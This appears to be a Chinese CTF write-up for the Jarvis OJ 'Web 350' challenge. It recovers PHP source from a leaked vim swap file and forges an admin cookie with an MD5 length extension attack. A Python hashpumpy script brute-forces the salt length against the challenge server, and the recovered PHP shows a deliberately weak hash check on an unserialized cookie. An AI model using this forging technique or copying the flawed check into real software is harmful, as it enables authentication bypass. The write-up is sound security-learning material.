这题真的学到超多!
要点:
- vim留下的临时文件
- 反序列化忽略多余字符串
- HASH拓展攻击
参考了以下题解及文章:
- https://www.jianshu.com/p/5342d07a6956
- http://element-ui.cn/news_show_25227.shtml
- https://www.cnblogs.com/pcat/p/5478509.html
Notes:
MD5拓展攻击时,由于Salt不知道长度,可以用爆破法求得长度
Step1:
发现发送一次请求后被设置了Cookie
Cookie: role=s%3A5%3A%22guest%22%3B; hsh=3a4727d57463f122833d9e732f94e4e0
Decode之后为
Cookie: role=s:5:"guest";; hsh=3a4727d57463f122833d9e732f94e4e0
显然,要把role改为admin,并且根据字符串格式可见是PHP序列化字符串,直接修改无效,推测要符合hsh值
束手无策,看了题解,下一步考察源码泄露,可以用扫描器扫描也可以,这里是vim临时文件导致的文件泄露
下载http://web.jarvisoj.com:32778/index.php~并且更名为.index.php.swp
输入命令vi -r index.php
成功恢复index.php文件,获取到源代码
<!DOCTYPE html>
<html>
<head>
<title>Web 350</title>
<style type="text/css">
body {
background:gray;
text-align:center;
}
</style>
</head>
<body>
<?php
$auth = false;
$role = "guest";
$salt =
if (isset($_COOKIE["role"])) {
$role = unserialize($_COOKIE["role"]);
$hsh = $_COOKIE["hsh"];
if ($role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"]))) {
$auth = true;
} else {
$auth = false;
}
} else {
$s = serialize($role);
setcookie('role',$s);
$hsh = md5($salt.strrev($s));
setcookie('hsh',$hsh);
}
if ($auth) {
echo "<h3>Welcome Admin. Your flag is
} else {
echo "<h3>Only Admin can see the flag!!</h3>";
}
?>
</body>
</html>
要点代码:
unserialize()
会忽略多余的字符
md5($salt.strrev($_COOKIE["role"]))
参数会反转,所以和unserialize()
结合只需要构造
's:5:"admin"; +填充字符+s:5:"guest";'
即可构成Hash拓展攻击
Hash拓展攻击参见:https://xz.aliyun.com/t/2563
由于不知道salt的长度,所以写一个脚本爆破salt的长度,我写的脚本贴在下方
import requests,urllib
from hashpumpy import hashpump
def attack():
url="http://web.jarvisoj.com:32778/"
hsh="3a4727d57463f122833d9e732f94e4e0"
guestS='s:5:"guest";'[::-1]
adminS='s:5:"admin";'[::-1]
i=0
html='Only'
newHsh=''
message=''
while ('Only' in html):
print("Tring Salt length:",i)
newHsh,message=hashpump(hsh,guestS,adminS,i)
message=message[::-1]
payload={"role":urllib.parse.quote(message),"hsh":newHsh}
html=requests.get(url,cookies=payload).text
i+=1
print("SaltLength:%d\nMessage:%s\nquotedMessage:%s\nHsh:%s\nHtml:\n%s\n"%(i,message,urllib.parse.quote(message),newHsh,html))
if __name__ == '__main__':
attack()
成功得到FlagPCTF{H45h_ext3ndeR_i5_easy_to_us3}
网友评论